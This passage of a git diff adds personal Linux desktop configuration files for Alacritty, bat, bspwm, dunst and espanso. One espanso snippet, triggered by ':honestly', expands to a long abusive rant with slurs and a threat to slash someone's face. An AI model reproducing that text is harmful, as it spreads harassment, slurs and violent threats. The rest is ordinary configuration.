key: Y, mode: Vi|~Search, action: ClearSelection } + #- { key: Copy, mode: Vi|~Search, action: ClearSelection } + #- { key: V, mode: Vi|~Search, action: ToggleNormalSelection } + #- { key: V, mods: Shift, mode: Vi|~Search, action: ToggleLineSelection } + #- { key: V, mods: Control, mode: Vi|~Search, action: ToggleBlockSelection } + #- { key: V, mods: Alt, mode: Vi|~Search, action: ToggleSemanticSelection } + #- { key: Return, mode: Vi|~Search, action: Open } + #- { key: K, mode: Vi|~Search, action: Up } + #- { key: J, mode: Vi|~Search, action: Down } + #- { key: H, mode: Vi|~Search, action: Left } + #- { key: L, mode: Vi|~Search, action: Right } + #- { key: Up, mode: Vi|~Search, action: Up } + #- { key: Down, mode: Vi|~Search, action: Down } + #- { key: Left, mode: Vi|~Search, action: Left } + #- { key: Right, mode: Vi|~Search, action: Right } + #- { key: Key0, mode: Vi|~Search, action: First } + #- { key: Key4, mods: Shift, mode: Vi|~Search, action: Last } + #- { key: Key6, mods: Shift, mode: Vi|~Search, action: FirstOccupied } + #- { key: H, mods: Shift, mode: Vi|~Search, action: High } + #- { key: M, mods: Shift, mode: Vi|~Search, action: Middle } + #- { key: L, mods: Shift, mode: Vi|~Search, action: Low } + #- { key: B, mode: Vi|~Search, action: SemanticLeft } + #- { key: W, mode: Vi|~Search, action: SemanticRight } + #- { key: E, mode: Vi|~Search, action: SemanticRightEnd } + #- { key: B, mods: Shift, mode: Vi|~Search, action: WordLeft } + #- { key: W, mods: Shift, mode: Vi|~Search, action: WordRight } + #- { key: E, mods: Shift, mode: Vi|~Search, action: WordRightEnd } + #- { key: Key5, mods: Shift, mode: Vi|~Search, action: Bracket } + #- { key: Slash, mode: Vi|~Search, action: SearchForward } + #- { key: Slash, mods: Shift, mode: Vi|~Search, action: SearchBackward } + #- { key: N, mode: Vi|~Search, action: SearchNext } + #- { key: N, mods: Shift, mode: Vi|~Search, action: SearchPrevious } + + # Search Mode + #- { key: Return, mode: Search|Vi, action: SearchConfirm } + #- { key: Escape, mode: Search, action: SearchCancel } + #- { key: C, mods: Control, mode: Search, action: SearchCancel } + #- { key: U, mods: Control, mode: Search, action: SearchClear } + #- { key: W, mods: Control, mode: Search, action: SearchDeleteWord } + #- { key: P, mods: Control, mode: Search, action: SearchHistoryPrevious } + #- { key: N, mods: Control, mode: Search, action: SearchHistoryNext } + #- { key: Up, mode: Search, action: SearchHistoryPrevious } + #- { key: Down, mode: Search, action: SearchHistoryNext } + #- { key: Return, mode: Search|~Vi, action: SearchFocusNext } + #- { key: Return, mods: Shift, mode: Search|~Vi, action: SearchFocusPrevious } + + # (Windows, Linux, and BSD only) + #- { key: V, mods: Control|Shift, mode: ~Vi, action: Paste } + #- { key: C, mods: Control|Shift, action: Copy } + #- { key: F, mods: Control|Shift, mode: ~Search, action: SearchForward } + #- { key: B, mods: Control|Shift, mode: ~Search, action: SearchBackward } + #- { key: C, mods: Control|Shift, mode: Vi|~Search, action: ClearSelection } + #- { key: Insert, mods: Shift, action: PasteSelection } + #- { key: Key0, mods: Control, action: ResetFontSize } + #- { key: Equals, mods: Control, action: IncreaseFontSize } + #- { key: Plus, mods: Control, action: IncreaseFontSize } + #- { key: NumpadAdd, mods: Control, action: IncreaseFontSize } + #- { key: Minus, mods: Control, action: DecreaseFontSize } + #- { key: NumpadSubtract, mods: Control, action: DecreaseFontSize } diff --git a/.config/alacritty/colors.yml b/.config/alacritty/colors.yml new file mode 100644 index 0000000..b370cb1 --- /dev/null +++ b/.config/alacritty/colors.yml @@ -0,0 +1,58 @@ +# Copyright (c) 2017-present Arctic Ice Studio +# Copyright (c) 2017-present Sven Greb + +# Project: Nord Alacritty +# Version: 0.1.0 +# Repository: https://github.com/arcticicestudio/nord-alacritty +# License: MIT +# References: +# https://github.com/alacritty/alacritty + +colors: + primary: + background: '#2e3440' + foreground: '#d8dee9' + dim_foreground: '#a5abb6' + cursor: + text: '#2e3440' + cursor: '#d8dee9' + vi_mode_cursor: + text: '#2e3440' + cursor: '#d8dee9' + selection: + text: CellForeground + background: '#4c566a' + search: + matches: + foreground: CellBackground + background: '#88c0d0' + bar: + background: '#434c5e' + foreground: '#d8dee9' + normal: + black: '#3b4252' + red: '#bf616a' + green: '#a3be8c' + yellow: '#ebcb8b' + blue: '#81a1c1' + magenta: '#b48ead' + cyan: '#88c0d0' + white: '#e5e9f0' + bright: + black: '#4c566a' + red: '#bf616a' + green: '#a3be8c' + yellow: '#ebcb8b' + blue: '#81a1c1' + magenta: '#b48ead' + cyan: '#8fbcbb' + white: '#eceff4' + dim: + black: '#373e4d' + red: '#94545d' + green: '#809575' + yellow: '#b29e75' + blue: '#68809a' + magenta: '#8c738c' + cyan: '#6d96a5' + white: '#aeb3bb' diff --git a/.config/bat/config b/.config/bat/config new file mode 100644 index 0000000..e52530a --- /dev/null +++ b/.config/bat/config @@ -0,0 +1,25 @@ +# This is `bat`s configuration file. Each line either contains a comment or +# a command-line option that you want to pass to `bat` by default. You can +# run `bat --help` to get a list of all possible configuration options. + +# Specify desired highlighting theme (e.g. "TwoDark"). Run `bat --list-themes` +# for a list of all available themes +--theme="Nord" + +# Enable this to use italic text on the terminal. This is not supported on all +# terminal emulators (like tmux, by default): +#--italic-text=always + +# Uncomment the following line to disable automatic paging: +#--paging=never + +# Uncomment the following line if you are using less version >= 551 and want to +# enable mouse scrolling support in `bat` when running inside tmux. This might +# disable text selection, unless you press shift. +#--pager="less --RAW-CONTROL-CHARS --quit-if-one-screen --mouse" + +# Syntax mappings: map a certain filename pattern to a language. +# Example 1: use the C++ syntax for .ino files +# Example 2: Use ".gitignore"-style highlighting for ".ignore" files +#--map-syntax "*.ino:C++" +#--map-syntax ".ignore:Git Ignore" diff --git a/.config/bspwm/autostart b/.config/bspwm/autostart new file mode 100755 index 0000000..e564e8f --- /dev/null +++ b/.config/bspwm/autostart @@ -0,0 +1,98 @@ +## Load appearance settings +xsetroot -cursor_name left_ptr & +export GTK2_RC_FILES="$HOME/.gtkrc-2.0" & +xrdb merge .Xresources & + +## Wallpaper fallback +dash ~/.fehbg & + +## Wallpaper changer +variety & + +## Composition manager +picom -b --vsync & + +## enable local fonts in .fonts directory +xset +fp /usr/share/fonts/local & +xset +fp /usr/share/fonts/misc & +xset +fp ~/.fonts & +xset fp rehash & +fc-cache -fv & + +## powersaving options +xset s off & +xset s noblank & +xset s noexpose & +xset c on & +xset -dpms & + +## Make monitor settings persist between reboots +eval $(awk -F'=' '/Exec=/ {print $2}' ~/.config/autostart/lxrandr-autostart.desktop) & + +## Map super key to trigger rofi when used alone +xcape -e 'Super_L=Super_L|Shift_L|space' & + +## Polkit agent +/usr/lib/mate-polkit/polkit-mate-authentication-agent-1 & + +## Desktop portal +/usr/lib/xdg-desktop-portal-gtk & + +## Gnome keyring +gnome-keyring-daemon & + +## Notification daemon +dunst & + +## Set screen locker +xss-lock -v -- betterlockscreen -l & + +############################################################################################################################### +## Autostart apps ## +############################################################################################################################### + +## Launch jgmenu - dirty hack :) +rm ~/.jgmenu-lockfile; +jgmenu --at-pointer --hide-on-startup & + +## Launch side notification tray, and move it to top +#(tint2; sleep 10; xdo raise -n tint2) & + +## launch tray +stalonetray -v --geometry=1x48+0+35 & + +## Screenshot daemon +flameshot & + +## Autostart +run_keybase -a & + +## Telegram daemon +telegram-desktop -startintray & + +## Caffeine-ng +caffeine >/dev/null 2>&1 & + +## Ulauncher +sleep 3 ; +ulauncher --hide-window >/dev/null 2>&1 & + +## Activity watch +aw-qt >/dev/null 2>&1 & + +## Desktop entries in autostart +dex -as ~/.config/autostart/ & + +############################### +## THINKPAD-SPECIFIC ## +############################### +dockd --daemon & + + +############################################################################################################################### +## Launch polybar - Keep last! ## +############################################################################################################################### +sleep 7 ; +$HOME/.config/polybar/launch.sh & + + diff --git a/.config/bspwm/bspwmrc b/.config/bspwm/bspwmrc new file mode 100755 index 0000000..0fd3147 --- /dev/null +++ b/.config/bspwm/bspwmrc @@ -0,0 +1,123 @@ +#!/bin/dash +gap=7 +PANEL_HEIGHT=27 +DOCK_WIDTH=24 +export gap +export PANEL_HEIGHT +export DOCK_WIDTH + +#This creates negative padding equal to window gap so that gaps are shown only between windows and not on desktop edges. +bspc config window_gap $gap; +bspc config top_padding $(($PANEL_HEIGHT-$gap)) +bspc config left_padding $(($DOCK_WIDTH-$gap)) +bspc config right_padding -$gap +bspc config bottom_padding -$gap + +#Various settings +bspc config gapless_monocle false #Default setup uses negative padding, and gapless monocle looks really weird like that +bspc config borderless_monocle true +bspc config single_monocle true +bspc config paddingless_monocle false +#bspc config ignore_ewmh_focus true +#bspc config initial_polarity second_child +bspc config remove_disabled_monitors true +bspc config remove_unplugged_monitors true +## Honor size hints: do not make windows smaller than they wish to be +#bspc config honor_size_hints true + +##Color settings +bspc config focused_border_color "#1ABB9B" +bspc config normal_border_color "#222D32" +#"#000000" +bspc config presel_feedback_color "#1ABB9B" +#"#8F3724" +bspc config border_width 1 + +bspc config focus_follows_pointer true +#bspc config pointer_follows_focus true #Some keybindings automatically enable and disable this setting + +#Settings for manual splitting +bspc config split_ratio 0.52 + +#bspc monitor -d i ii iii iv v vi vii viii ix x +#bspc monitor -d One Two Three Four Five Six Seven Eight Nine Ten +#bspc monitor -d I II III IV V VI VII VIII IX X +#bspc monitor -d • • • • • • • • • • +#bspc monitor -d I II III IV V VI + +###This creates and names desktops for multiple monitors. +workspaces_multimonitor & + +bspc rule -a screenkey --unmanage +bspc rule -a gcolor2 state=floating center=true +bspc rule -a lxappearance state=floating center=true +bspc rule -a gmrun state=floating center=true +bspc rule -a lxterminal state=floating center=true sticky=true +#bspc rule -a urxvt state=floating center=true +bspc rule -a viewnior state=floating center=true +bspc rule -a file-roller state=floating center=true +bspc rule -a floaterm state=floating center=true +bspc rule -a spotify state=pseudo_tiled +#bspc rule -a nautilus state=pseudo_tiled +#bspc rule -a skype state=pseudo_tiled +bspc rule -a file-roller state=pseudo_tiled +bspc rule -a transmission-gtk state=pseudo_tiled +bspc rule -a conky sticky=on manage=off lower=on +bspc rule -a astime sticky=on +bspc rule -a yad state=floating +bspc rule -a Docky layer=above border=off manage=on +bspc rule -a Plank layer=above border=off manage=on +bspc rule -a wbar layer=above +bspc rule -a dockbarx layer=above +bspc rule -a google-chrome-unstable private=on +bspc rule -a google-chrome-stable private=on +bspc rule -a chromium private=on +bspc rule -a firefox private=on +bspc rule -a midori private=on +bspc rule -a gnome-pie border=off manage=off +bspc rule -a wpa_gui state=pseudo_tiled +bspc rule -a libreoffice state=tiled +bspc rule -a '*:libreofficedev' state=tiled +bspc rule -a '*:soffice' state=tiled +bspc rule -a firefox desktop=I +bspc rule -a brave-browser desktop=I +#bspc rule -a calibre desktop=II +#bspc rule -a geany desktop=II +#bspc rule -a deluge desktop=III +bspc rule -a polybar border=off +bspc rule -a 9menu border=off manage=off +bspc rule -a tint2 layer=above border=off manage=off +bspc rule -a dunst border=off manage=off +bspc rule -a Ulauncher border=off +bspc rule -a Variety state=floating rectangle=1600x120+0+440 +#bspc desktop I --layout monocle +#bspc desktop II --layout monocle + + +## Autogap adjusts windowgap automagically according to the number of +## windows on the desktop. Using it disables negative window gap. +autogap & + +## This script balances all windows when new one is spawned +#euclid_balancer & + +##Edge-switcher switches to next workspace when moves moves to the +##edge of the monitor (behavior similar to enlightenment) +#edge-switcher & + +###External rules +##Pseudo automatic mode: always splits focused window when opening new window +#bspc config external_rules_command /usr/bin/pseudo_automatic_mode +##Adjust new window: splits biggest windows to keep windows about the same size +#bspc config external_rules_command /usr/bin/adjust-new-window + +##Autostart apps +#Keybindings daemon +sxhkd & + +#wmname LG3D; +#export _JAVA_AWT_WM_NONREPARENTING=1; + +#Source autostartfile. Uncomment this if you use bspwm-git +. $HOME/.config/bspwm/autostart > /tmp/bspwm-autostart.log 2>&1 + diff --git a/.config/dunst/dunstrc b/.config/dunst/dunstrc new file mode 100644 index 0000000..5082600 --- /dev/null +++ b/.config/dunst/dunstrc @@ -0,0 +1,472 @@ +[global] + ### Display ### + + # Which monitor should the notifications be displayed on. + monitor = 0 + + # Display notification on focused monitor. Possible modes are: + # mouse: follow mouse pointer + # keyboard: follow window with keyboard focus + # none: don't follow anything + # + # "keyboard" needs a window manager that exports the + # _NET_ACTIVE_WINDOW property. + # This should be the case for almost all modern window managers. + # + # If this option is set to mouse or keyboard, the monitor option + # will be ignored. + follow = mouse + + # The geometry of the window: + # [{width}]x{height}[+/-{x}+/-{y}] + # The geometry of the message window. + # The height is measured in number of notifications everything else + # in pixels. If the width is omitted but the height is given + # ("-geometry x2"), the message window expands over the whole screen + # (dmenu-like). If width is 0, the window expands to the longest + # message displayed. A positive x is measured from the left, a + # negative from the right side of the screen. Y is measured from + # the top and down respectively. + # The width can be negative. In this case the actual width is the + # screen width minus the width defined in within the geometry option. + # + #geometry = "400x10-600+35" + width = 400 + height = 600 + origin = top-right + offset = 10x35 + # Turn on the progess bar + progress_bar = true + + # Set the progress bar height. This includes the frame, so make sure + # it's at least twice as big as the frame width. + progress_bar_height = 10 + + # Set the frame width of the progress bar + progress_bar_frame_width = 1 + + # Set the minimum width for the progress bar + progress_bar_min_width = 150 + + # Set the maximum width for the progress bar + progress_bar_max_width = 300 + + + # Show how many messages are currently hidden (because of geometry). + indicate_hidden = yes + + # Shrink window if it's smaller than the width. Will be ignored if + # width is 0. + shrink = no + + # The transparency of the window. Range: [0; 100]. + # This option will only work if a compositing window manager is + # present (e.g. xcompmgr, compiz, etc.). + transparency = 30 + + # Draw a line of "separator_height" pixel height between two + # notifications. + # Set to 0 to disable. + separator_height = 2 + + # Padding between text and separator. + padding = 8 + + # Horizontal padding. + horizontal_padding = 8 + + # Padding between text and icon. + text_icon_padding = 0 + + # Defines width in pixels of frame around the notification window. + # Set to 0 to disable. + frame_width = 1 + + # Defines color of the frame around the notification window. + #frame_color = "#aaaaaa00" + + # Define a color for the separator. + # possible values are: + # * auto: dunst tries to find a color fitting to the background; + # * foreground: use the same color as the foreground; + # * frame: use the same color as the frame; + # * anything else will be interpreted as a X color. + #separator_color = "#00000000" + + + + frame_color = "#ED8796" + separator_color= frame + + + # Sort messages by urgency. + sort = yes + + # Don't remove messages, if the user is idle (no mouse or keyboard input) + # for longer than idle_threshold seconds. + # Set to 0 to disable. + # A client can set the 'transient' hint to bypass this. See the rules + # section for how to disable this if necessary + idle_threshold = 120 + + ### Text ### + + font = SauceCodePro Nerd Font Propo 8 + + # The spacing between lines. If the height is smaller than the + # font height, it will get raised to the font height. + line_height = 0 + + # Possible values are: + # full: Allow a small subset of html markup in notifications: + # bold + # italic + # strikethrough + # underline + # + # For a complete reference see + # . + # + # strip: This setting is provided for compatibility with some broken + # clients that send markup even though it's not enabled on the + # server. Dunst will try to strip the markup but the parsing is + # simplistic so using this option outside of matching rules for + # specific applications *IS GREATLY DISCOURAGED*. + # + # no: Disable markup parsing, incoming notifications will be treated as + # plain text. Dunst will not advertise that it has the body-markup + # capability if this is set as a global setting. + # + # It's important to note that markup inside the format option will be parsed + # regardless of what this is set to. + markup = full + + # The format of the message. Possible variables are: + # %a appname + # %s summary + # %b body + # %i iconname (including its path) + # %I iconname (without its path) + # %p progress value if set ([ 0%] to [100%]) or nothing + # %n progress value if set without any extra characters + # %% Literal % + # Markup is allowed + format = "%s\n%b" + + # Alignment of message text. + # Possible values are "left", "center" and "right". + alignment = left + + # Vertical alignment of message text and icon. + # Possible values are "top", "center" and "bottom". + vertical_alignment = center + + # Show age of message if message is older than show_age_threshold + # seconds. + # Set to -1 to disable. + show_age_threshold = 60 + + # Split notifications into multiple lines if they don't fit into + # geometry. + word_wrap = yes + + # When word_wrap is set to no, specify where to make an ellipsis in long lines. + # Possible values are "start", "middle" and "end". + ellipsize = middle + + # Ignore newlines '\n' in notifications. + ignore_newline = no + + # Stack together notifications with the same content + stack_duplicates = true + + # Hide the count of stacked notifications with the same content + hide_duplicate_count = false + + # Display indicators for URLs (U) and actions (A). + show_indicators = yes + + ### Icons ### + + + enable_recursive_icon_lookup = true + icon_theme = Papirus-Dark + # Align icons left/right/off + icon_position = left + + # Scale small icons up to this size, set to 0 to disable. Helpful + # for e.g. small files or high-dpi screens. In case of conflict, + # max_icon_size takes precedence over this. + min_icon_size = 16 + + # Scale larger icons down to this size, set to 0 to disable + max_icon_size = 32 + + # Paths to default icons. + icon_path = /usr/share/icons/Papirus-Dark/16x16/actions/:/usr/share/icons/Papirus-Dark/16x16/devices/ + + ### History ### + + # Should a notification popped up from history be sticky or timeout + # as if it would normally do. + sticky_history = yes + + # Maximum amount of notifications kept in history + history_length = 20 + + ### Misc/Advanced ### + + # dmenu path. + dmenu = /usr/bin/dmenu -p dunst: + + # Browser for opening urls in context menu. + browser = /usr/bin/firefox -new-tab + + # Always run rule-defined scripts, even if the notification is suppressed + always_run_script = true + + # Define the title of the windows spawned by dunst + title = Dunst + + # Define the class of the windows spawned by dunst + class = Dunst + + # Define the corner radius of the notification window + # in pixel size. If the radius is 0, you have no rounded + # corners. + # The radius will be automatically lowered if it exceeds half of the + # notification height to avoid clipping text and/or icons. + corner_radius = 10 + + # Ignore the dbus closeNotification message. + # Useful to enforce the timeout set by dunst configuration. Without this + # parameter, an application may close the notification sent before the + # user defined timeout. + ignore_dbusclose = false + + ### Wayland ### + # These settings are Wayland-specific. They have no effect when using X11 + + # Uncomment this if you want to let notications appear under fullscreen + # applications (default: overlay) + # layer = top + + # Set this to true to use X11 output on Wayland. + force_xwayland = false + + ### Legacy + + # Use the Xinerama extension instead of RandR for multi-monitor support. + # This setting is provided for compatibility with older nVidia drivers that + # do not support RandR and using it on systems that support RandR is highly + # discouraged. + # + # By enabling this setting dunst will not be able to detect when a monitor + # is connected or disconnected which might break follow mode if the screen + # layout changes. + force_xinerama = false + + ### mouse + + # Defines list of actions for each mouse event + # Possible values are: + # * none: Don't do anything. + # * do_action: If the notification has exactly one action, or one is marked as default, + # invoke it. If there are multiple and no default, open the context menu. + # * close_current: Close current notification. + # * close_all: Close all notifications. + # These values can be strung together for each mouse event, and + # will be executed in sequence. + mouse_left_click = do_action, close_current + mouse_middle_click = close_all + mouse_right_click = close_current + +# Experimental features that may or may not work correctly. Do not expect them +# to have a consistent behaviour across releases. +[experimental] + # Calculate the dpi to use on a per-monitor basis. + # If this setting is enabled the Xft.dpi value will be ignored and instead + # dunst will attempt to calculate an appropriate dpi value for each monitor + # using the resolution and physical size. This might be useful in setups + # where there are multiple screens with very different dpi values. + per_monitor_dpi = false + +# The internal keyboard shortcut support in dunst is now considered deprecated +# and should be replaced by dunstctl calls. You can use the configuration of your +# WM or DE to bind these to shortcuts of your choice. +# Check the dunstctl manual page for more info. +[shortcuts] + + # Shortcuts are specified as [modifier+][modifier+]...key + # Available modifiers are "ctrl", "mod1" (the alt-key), "mod2", + # "mod3" and "mod4" (windows-key). + # Xev might be helpful to find names for keys. + + # Close notification. Equivalent dunstctl command: + # dunstctl close + # close = ctrl+space + + # Close all notifications. Equivalent dunstctl command: + # dunstctl close-all + # close_all = ctrl+shift+space + + # Redisplay last message(s). Equivalent dunstctl command: + # dunstctl history-pop + # history = ctrl+grave + + # Context menu. Equivalent dunstctl command: + # dunstctl context + # context = ctrl+shift+period + +[urgency_low] +background = "#24273A" +foreground = "#6E738D" + +[urgency_normal] +background = "#24273A" +foreground = "#CAD3F5" + +[urgency_critical] +background = "#ED8796" +foreground = "#24273A" +frame_color = "#EED49F" + +#[urgency_low] + ## IMPORTANT: colors have to be defined in quotation marks. + ## Otherwise the "#" and following would be interpreted as a comment. + #background = "#222222" + #foreground = "#eceff4" + #timeout = 10 + ## Icon for notifications with low urgency, uncomment to enable + ##icon = /path/to/icon + +#[urgency_normal] + #background = "#4c566a" + #foreground = "#eceff4" + #timeout = 10 + ## Icon for notifications with normal urgency, uncomment to enable + ##icon = /path/to/icon + +#[urgency_critical] + #background = "#bf616a" + #foreground = "#eceff4" + #timeout = 0 + ## Icon for notifications with critical urgency, uncomment to enable + ##icon = /path/to/icon + +# Every section that isn't one of the above is interpreted as a rules to +# override settings for certain messages. +# +# Messages can be matched by +# appname (discouraged, see desktop_entry) +# body +# category +# desktop_entry +# icon +# match_transient +# msg_urgency +# stack_tag +# summary +# +# and you can override the +# background +# foreground +# format +# frame_color +# fullscreen +# new_icon +# set_stack_tag +# set_transient +# timeout +# urgency +# +# Shell-like globbing will get expanded. +# +# Instead of the appname filter, it's recommended to use the desktop_entry filter. +# GLib based applications export their desktop-entry name. In comparison to the appname, +# the desktop-entry won't get localized. +# +# SCRIPTING +# You can specify a script that gets run when the rule matches by +# setting the "script" option. +# The script will be called as follows: +# script appname summary body icon urgency +# where urgency can be "LOW", "NORMAL" or "CRITICAL". +# +# NOTE: if you don't want a notification to be displayed, set the format +# to "". +# NOTE: It might be helpful to run dunst -print in a terminal in order +# to find fitting options for rules. + +# Disable the transient hint so that idle_threshold cannot be bypassed from the +# client +#[transient_disable] +# match_transient = yes +# set_transient = no +# +# Make the handling of transient notifications more strict by making them not +# be placed in history. +#[transient_history_ignore] +# match_transient = yes +# history_ignore = yes + +# fullscreen values +# show: show the notifications, regardless if there is a fullscreen window opened +# delay: displays the new notification, if there is no fullscreen window active +# If the notification is already drawn, it won't get undrawn. +# pushback: same as delay, but when switching into fullscreen, the notification will get +# withdrawn from screen again and will get delayed like a new notification +#[fullscreen_delay_everything] +# fullscreen = delay +#[fullscreen_show_critical] +# msg_urgency = critical +# fullscreen = show + +#[espeak] +# summary = "*" +# script = dunst_espeak.sh + +#[script-test] +# summary = "*script*" +# script = dunst_test.sh + +#[ignore] +# # This notification will not be displayed +# summary = "foobar" +# format = "" + +#[history-ignore] +# # This notification will not be saved in history +# summary = "foobar" +# history_ignore = yes + +#[skip-display] +# # This notification will not be displayed, but will be included in the history +# summary = "foobar" +# skip_display = yes + +#[signed_on] +# appname = Pidgin +# summary = "*signed on*" +# urgency = low +# +#[signed_off] +# appname = Pidgin +# summary = *signed off* +# urgency = low +# +#[says] +# appname = Pidgin +# summary = *says* +# urgency = critical +# +#[twitter] +# appname = Pidgin +# summary = *twitter.com* +# urgency = normal +# +#[stack-volumes] +# appname = "some_volume_notifiers" +# set_stack_tag = "volume" +# +# vim: ft=cfg diff --git a/.config/espanso/config/default.yml b/.config/espanso/config/default.yml new file mode 100644 index 0000000..4f52b02 --- /dev/null +++ b/.config/espanso/config/default.yml @@ -0,0 +1,40 @@ +# espanso configuration file + +# For a complete introduction, visit the official docs at: https://espanso.org/docs/ + +# You can use this file to define the global configuration options for espanso. +# These are the parameters that will be used by default on every application, +# but you can also override them on a per-application basis. + +# To make customization easier, this file contains some of the commonly used +# parameters. Feel free to uncomment and tune them to fit your needs! + +# --- Toggle key + +# Customize the key used to disable and enable espanso (when double tapped) +# Available options: CTRL, SHIFT, ALT, CMD, OFF +# You can also specify the key variant, such as LEFT_CTRL, RIGHT_SHIFT, etc... +# toggle_key: ALT +# You can also disable the toggle key completely with +# toggle_key: OFF + +# --- Injection Backend + +# Espanso supports multiple ways of injecting text into applications. Each of +# them has its quirks, therefore you may want to change it if you are having problems. +# By default, espanso uses the "Auto" backend which should work well in most cases, +# but you may want to try the "Clipboard" or "Inject" backend in case of issues. +# backend: Clipboard + +# --- Auto-restart + +# Enable/disable the config auto-reload after a file change is detected. +# auto_restart: false + +# --- Clipboard threshold + +# Because injecting long texts char-by-char is a slow operation, espanso automatically +# uses the clipboard if the text is longer than 'clipboard_threshold' characters. +# clipboard_threshold: 100 + +# For a list of all the available options, visit the official docs at: https://espanso.org/docs/ \ No newline at end of file diff --git a/.config/espanso/match/base.yml b/.config/espanso/match/base.yml new file mode 100644 index 0000000..d60cfe3 --- /dev/null +++ b/.config/espanso/match/base.yml @@ -0,0 +1,71 @@ +# espanso match file + +# For a complete introduction, visit the official docs at: https://espanso.org/docs/ + +# You can use this file to define the base matches (aka snippets) +# that will be available in every application when using espanso. + +# Matches are substitution rules: when you type the "trigger" string +# it gets replaced by the "replace" string. +matches: + # Simple text replacement + - trigger: ":espanso" + replace: "Hi there!" + + # NOTE: espanso uses YAML to define matches, so pay attention to the indentation! + + # But matches can also be dynamic: + + # Print the current date + - trigger: ":date" + replace: "{{mydate}}" + vars: + - name: mydate + type: date + params: + format: "%m/%d/%Y" + + # Print the output of a shell command + - trigger: ":shell" + replace: "{{output}}" + vars: + - name: output + type: shell + params: + cmd: "echo 'Hello from your shell'" + + - trigger: ":zettelkasten" + replace: "{{zettelkastendate}}" + vars: + - name: zettelkastendate + type: date + params: + format: "%Y%m%d%H%M%S" + + - trigger: ":epoch" + replace: "{{epoch}}" + vars: + - name: epoch + type: date + params: + format: "%s" + + - trigger: ":ISOdate" + replace: "{{ISO}}" + vars: + - name: ISO + type: date + params: + format: "%+" + + - trigger: ":lennyface" + replace: "( ͡° ͜ʖ ͡°)" + + - trigger: ":fitnessgram" + replace: "The FitnessGram™ Pacer Test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter pacer test will begin in 30 seconds. Line up at the start. The running speed starts slowly, but gets faster each minute after you hear this signal. [beep] A single lap should be completed each time you hear this sound. [ding] Remember to run in a straight line, and run as long as possible. The second time you fail to complete a lap before the sound, your test is over. The test will begin on the word start. On your mark, get ready, start." + # And much more! For more information, visit the docs: https://espanso.org/docs/ + - trigger: ":foreshadowing" + replace: "Foreshadowing is a narrative device in which a storyteller gives an advance hint of what is to come later in the story. Foreshadowing often appears at the beginning of a story, and it helps develop or subvert the audience's expectations about upcoming events." + + - trigger: ":honestly" + replace: "Do you honestly think you're fucking funny, fucking with my friends? Seriously, you're a fucking ugly little cunt mate, and if I ever see you i'm gunna slit your fucking face wide open yeh? You're a fucking angry little fucking spastic. OK, right, let’s, first off, uhh you’re seventeen so you’re not even old enough to play the game, you’re from Scotland not Nigeria and you annoy people and put them on YouTube ‘cos you’re a cunt, which I totally agree with. So why don’t you crawl back up your mum’s fanny and die? Right, I’ll tell you what, you fat little cunt, you’re borin’ you don’t sound Nigerian at all so go fuck yourself… GO AND CRAWL IN A DIRTY DANK LITTLE HOLE WHERE YOU FUCKING COME FROM, YOU DIRTY DRAGON EATIN’ LITTLE FUCKING SPASTIC. Right, OK, the ‘dragon’ comment was probably a little bit fucking over-the-top, but at the end of the day you’re fucking borin’. Every single person who watches your videos are fucking stoopid. They’re fucking ignorant little cunts. And you’re just a fucking retard." diff --git a/.config/espanso/match/packages/accented-words/LICENSE b/.config/espanso/match/packages/accented-words/LICENSE new file mode 100644 index 0000000..5184f7d --- /dev/null +++ b/.config/espanso/match/packages/accented-words/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Joshua J. Hall + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.config/espanso/match/packages/accented-words/README.md b/.config/espanso/match/packages/accented-words/README.md new file mode 100644 index 0000000..6e35741 --- /dev/null +++ b/.config/espanso/match/packages/accented-words/README.md @@ -0,0 +1,24 @@ +# Espanso Accented Words + +Simple package to extend [Espanso](https://espanso.org) with commonly accented words used in English. + +## Installation + +``` +espanso install accented-words +``` + +## Usage + +Just type the word. Words that may or may not require accents in English will only be accented after a trailing apostrphe (') is added. For example, both `rose` and `rosé` are separate words in English with very different meanings, so only `rose'` will exapnd to `rosé`. Here are a few examples... + +* cafe' > café +* rose' > rosé +* resume' > résumé +* angstrom > ångström +* Champs-Elysees > Champs-Élysées +* Francois > François + +## Contributions + +Contributions are welcome. Feel free to fork and submit PRs with additional words to add to this list. This is far from an exhaustive list. diff --git a/.config/espanso/match/packages/accented-words/_manifest.yml b/.config/espanso/match/packages/accented-words/_manifest.yml new file mode 100644 index 0000000..e2dff24 --- /dev/null +++ b/.config/espanso/match/packages/accented-words/_manifest.yml @@ -0,0 +1,7 @@ +name: accented-words +title: Accented Words +description: Automatically accent commonly accented words and proper nouns in English. +version: 1.0.0 +author: Joshua Hall +homepage: "https://github.com/joshjhall/espanso-accented-words" +tags: ["english", "languages", "accents"] \ No newline at end of file diff --git a/.config/espanso/match/packages/accented-words/_pkgsource.yml b/.config/espanso/match/packages/accented-words/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/accented-words/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/accented-words/package.yml b/.config/espanso/match/packages/accented-words/package.yml new file mode 100644 index 0000000..35cd971 --- /dev/null +++ b/.config/espanso/match/packages/accented-words/package.yml @@ -0,0 +1,252 @@ +# Accented Words + +matches: + - trigger: "Champs-Elysees" + replace: "Champs-Élysées" + propagate_case: true + word: true + + - trigger: "Francois" + replace: "François" + propagate_case: true + word: true + + - trigger: "Metis" + replace: "Métis" + propagate_case: true + word: true + + - trigger: "Quebec" + replace: "Québec" + propagate_case: true + word: true + + - trigger: "angstrom" + replace: "ångström" + 